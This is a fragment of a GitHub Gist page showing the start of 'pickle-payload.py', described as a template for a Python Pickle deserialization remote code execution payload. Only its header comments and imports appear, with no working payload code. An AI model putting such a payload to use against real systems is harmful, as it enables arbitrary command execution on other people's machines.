Skip to content

Instantly share code, notes, and snippets.

View haakonvt's full-sized avatar
💢

Håkon V. Treider haakonvt

💢
View GitHub Profile
@mgeeky
mgeeky / pickle-payload.py
Last active May 9, 2024 12:50
Python's Pickle Remote Code Execution payload template.
#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#
import cPickle
import sys
import base64